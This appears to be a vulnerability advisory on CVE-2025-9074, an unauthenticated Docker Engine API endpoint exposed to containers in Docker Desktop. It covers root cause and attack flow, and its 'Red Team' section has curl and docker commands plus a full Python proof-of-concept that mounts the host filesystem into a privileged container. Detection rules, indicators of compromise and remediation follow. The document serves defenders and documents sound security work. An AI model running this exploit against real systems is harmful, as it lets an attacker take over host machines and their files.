CVE-2025-9074

Executive Summary

CVE-2025-9074 is a critical vulnerability in Docker Desktop affecting versions prior to 4.44.3 on Windows and macOS. The flaw allows a local, unprivileged container running on the Docker subnet (typically 192.168.65.0/24) to access the Docker Engine API at 192.168.65.7:2375 without authentication. This bypasses both Enhanced Container Isolation (ECI) and the "Expose daemon on tcp://localhost:2375 without TLS" setting, meaning the API is reachable even when those features are disabled. An attacker with code execution inside a container can escalate privileges to control the host Docker daemon, manage other containers, create new privileged containers, and on Windows with WSL backend, mount the host filesystem with the Docker Desktop user's privileges. A public proof-of-concept (PoC) exploit is available on GitHub, demonstrating container escape and host filesystem access.

Supply Chain & Package Security

This vulnerability is not specific to a package manager (NPM, PyPI, Go, Ruby) but affects the Docker Desktop application itself. However, any container image pulled from public registries (e.g., Docker Hub) could be used as a vector if an attacker controls the image or if a compromised image is run. Organizations should verify the integrity of container images and restrict which images can be executed.

CVSS Breakdown & Threat Level

CVSS Score: 8.8 (High) Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

• Attack Vector (AV): Local – The attacker must have code execution inside a container on the same host.
• Attack Complexity (AC): Low – No special conditions beyond container access.
• Privileges Required (PR): Low – The attacker only needs a low-privileged container.
• User Interaction (UI): None – No user action required.
• Scope (S): Changed – The compromised component (container) impacts resources beyond its security scope (host).
• Confidentiality (C): High – Full host filesystem access possible.
• Integrity (I): High – Ability to modify host files, create containers, etc.
• Availability (A): High – Can disrupt host services.

Threat Level: Critical – Public exploit exists, low complexity, and high impact.

Deep Dive & Mechanics

The vulnerability stems from Docker Desktop's internal networking architecture. Docker Desktop runs a lightweight VM (Hyper-V on Windows, HyperKit on macOS) that hosts the Docker daemon. The daemon listens on a virtual network interface at 192.168.65.7:2375. This interface is intended for communication between the host and the VM, but it is also accessible from within containers running on the Docker bridge network (typically 172.17.0.0/16 or 192.168.65.0/24).

Root Cause: The Docker Engine API is bound to the virtual network interface without authentication. Even when the user-facing "Expose daemon on tcp://localhost:2375 without TLS" option is disabled, the internal API endpoint remains active and reachable from containers. Enhanced Container Isolation (ECI) was designed to prevent such cross-container attacks but fails to block access to this specific internal IP.

Attack Flow:

1. Attacker gains code execution inside a container (e.g., via a compromised image or application vulnerability).
2. From within the container, the attacker probes the internal Docker API endpoint at 192.168.65.7:2375.
3. The attacker uses the Docker Engine API to create a new container with a bind mount of the host filesystem (e.g., /host -> /).
4. The attacker starts the container and gains arbitrary read/write access to the host filesystem.
5. On Windows with WSL backend, the attacker can mount the host drive (e.g., C:\) with the same privileges as the Docker Desktop user.

Vulnerable vs. Patched Code

Vulnerable Code (Docker Desktop < 4.44.3): The Docker daemon configuration binds to tcp://192.168.65.7:2375 without TLS. This is hardcoded in the VM's network setup and is not configurable by the user. The API endpoint does not require authentication.

# /etc/docker/daemon.json (inside VM)
{
  "hosts": ["unix:///var/run/docker.sock", "tcp://192.168.65.7:2375"],
  "tls": false
}

Patched Code (Docker Desktop >= 4.44.3): The internal API endpoint is either removed or secured with TLS and authentication. The daemon no longer listens on TCP port 2375 by default. If the user explicitly enables the "Expose daemon on tcp://localhost:2375 without TLS" option, it is now properly firewalled from container networks.

# /etc/docker/daemon.json (inside VM, patched)
{
  "hosts": ["unix:///var/run/docker.sock"],
  "tls": true,
  "tlsverify": true,
  "tlscacert": "/etc/docker/ca.pem",
  "tlscert": "/etc/docker/server-cert.pem",
  "tlskey": "/etc/docker/server-key.pem"
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Docker Desktop version < 4.44.3 on Windows or macOS.
• Ability to run a container (e.g., via docker run or through a compromised image).
• Network access from the container to 192.168.65.7:2375.

Exploit Steps:

1. Deploy a container with necessary tools (curl, docker client).
2. From inside the container, verify API access:

   curl -s http://192.168.65.7:2375/version
   

3. Use the provided PoC script (or manual commands) to create a privileged container with host filesystem mount:

   # Pull an image
   docker -H tcp://192.168.65.7:2375 pull alpine:latest
   # Create a container with bind mount
   docker -H tcp://192.168.65.7:2375 run -d --name escape --privileged -v /:/host alpine:latest sleep infinity
   # Access host filesystem
   docker -H tcp://192.168.65.7:2375 exec escape ls /host
   

PoC Script (from Exploit-DB):

#!/usr/bin/env python3
# Exploit Title: Docker Desktop 4.44.3 - Unauthenticated API Exposure
# Date: 2025-10-06
# Exploit Author: OilSeller2001
# Vendor Homepage: https://www.docker.com/
# Software Link: https://www.docker.com/products/docker-desktop/
# Version: Affected on Windows and macOS versions prior to 4.44.3
# Tested on: Windows 11 + Docker Desktop 4.43.0
# Exploit Type: Remote, Local, Shellcode
# Platform: Windows
# CVE: CVE-2025-9074

import requests
import json
import sys

def exploit(target):
    base_url = f"http://{target}"
    # Check API availability
    r = requests.get(f"{base_url}/version")
    if r.status_code != 200:
        print("[-] API not available")
        return
    print("[+] API available")
    
    # Pull an image
    image = "alpine:latest"
    r = requests.post(f"{base_url}/images/create?fromImage={image}")
    if r.status_code != 200:
        print(f"[-] Failed to pull image {image}")
        return
    print(f"[+] Image {image} pulled")
    
    # Create a malicious container with bind mount
    container_config = {
        "Image": image,
        "Cmd": ["sleep", "infinity"],
        "HostConfig": {
            "Binds": ["/:/host"],
            "Privileged": True
        }
    }
    r = requests.post(f"{base_url}/containers/create?name=escape", json=container_config)
    if r.status_code != 201:
        print("[-] Failed to create container")
        return
    container_id = r.json()["Id"]
    print(f"[+] Container {container_id} created")
    
    # Start the container
    r = requests.post(f"{base_url}/containers/{container_id}/start")
    if r.status_code != 204:
        print("[-] Failed to start container")
        return
    print("[+] Container started - host filesystem accessible at /host")
    
    # Execute command to verify
    exec_config = {
        "Cmd": ["ls", "/host"],
        "AttachStdout": True,
        "AttachStderr": True
    }
    r = requests.post(f"{base_url}/containers/{container_id}/exec", json=exec_config)
    exec_id = r.json()["Id"]
    r = requests.post(f"{base_url}/exec/{exec_id}/start", json={"Detach": False, "Tty": False})
    print("[+] Host filesystem listing:")
    print(r.text)

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target_ip>:2375")
        sys.exit(1)
    exploit(sys.argv[1])

Blue Team

Detection:

• Monitor for unexpected API calls to 192.168.65.7:2375 from container networks.
• Alert on creation of privileged containers or containers with host filesystem mounts.
• Use network monitoring to detect outbound connections from containers to the Docker API endpoint.

Hunting:

• Search for containers with --privileged flag or Binds containing /:/host.
• Review Docker daemon logs for unauthorized API access (e.g., from unexpected IPs).
• Check for containers that have been created with HostConfig.Privileged: true and Binds to root.

Containment:

• Immediately isolate the affected host.
• Stop and remove any suspicious containers.
• Review and revoke any compromised credentials.

Indicators of Compromise (IOCs)

Network IOCs:

• Connections from container IPs (e.g., 172.17.0.0/16) to 192.168.65.7:2375.
• API requests to /containers/create with Privileged: true and Binds: ["/:/host"].

File System IOCs:

• Presence of a container named escape or similar.
• Unexpected files in /host directory inside a container.

Process IOCs:

• Docker daemon processes listening on TCP port 2375 (check with netstat -an | findstr :2375 on Windows, ss -tlnp | grep 2375 on Linux).

Log IOCs:

• Docker daemon logs showing API calls from unexpected IPs.
• Windows Event Logs (if applicable) showing container creation events.

Detection Engineering

YARA Rule

rule CVE_2025_9074_Docker_API_Exposure {
    meta:
        description = "Detects Docker Desktop containers exploiting CVE-2025-9074 via bind mount to host root"
        author = "Valters IT"
        date = "2025-10-06"
        reference = "CVE-2025-9074"
        hash = "d41d8cd98f00b204e9800998ecf8427e"
    strings:
        $s1 = "/:/host" ascii wide nocase
        $s2 = "Privileged" ascii wide nocase
        $s3 = "192.168.65.7:2375" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: Docker Desktop CVE-2025-9074 API Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2025-9074 by accessing the Docker API from a container
author: Valters IT
date: 2025-10-06
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-9074
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\docker.exe'
        CommandLine|contains: '192.168.65.7:2375'
    condition: selection
falsepositives:
    - Legitimate administrative use (rare)
level: high

Suricata Rule

alert tcp $HOME_NET any -> 192.168.65.7 2375 (msg:"CVE-2025-9074 Docker API Access from Container"; flow:to_server; content:"POST"; http_method; content:"/containers/create"; http_uri; content:"Privileged"; http_client_body; content:"/:/host"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Docker Desktop to version 4.44.3 or later.
2. If upgrade is not possible, restrict network access from containers to the Docker API endpoint using firewall rules (e.g., block outbound traffic to 192.168.65.7:2375).
3. Disable the "Expose daemon on tcp://localhost:2375 without TLS" option if enabled.

Long-Term Mitigations:

• Implement network segmentation to isolate container traffic.
• Use Docker's built-in security features like user namespaces and seccomp profiles.
• Regularly audit container images and running containers for suspicious configurations.
• Monitor Docker daemon logs for unauthorized API access.

Patch Details:

• Upgrade to Docker Desktop 4.44.3 or later.
• Download from: https://www.docker.com/products/docker-desktop/

Valters IT
DevSecOps & Cyber Threat Intelligence Expert

{/* [Security Hash: 09A6ECF9542C3CDB160753D9] */}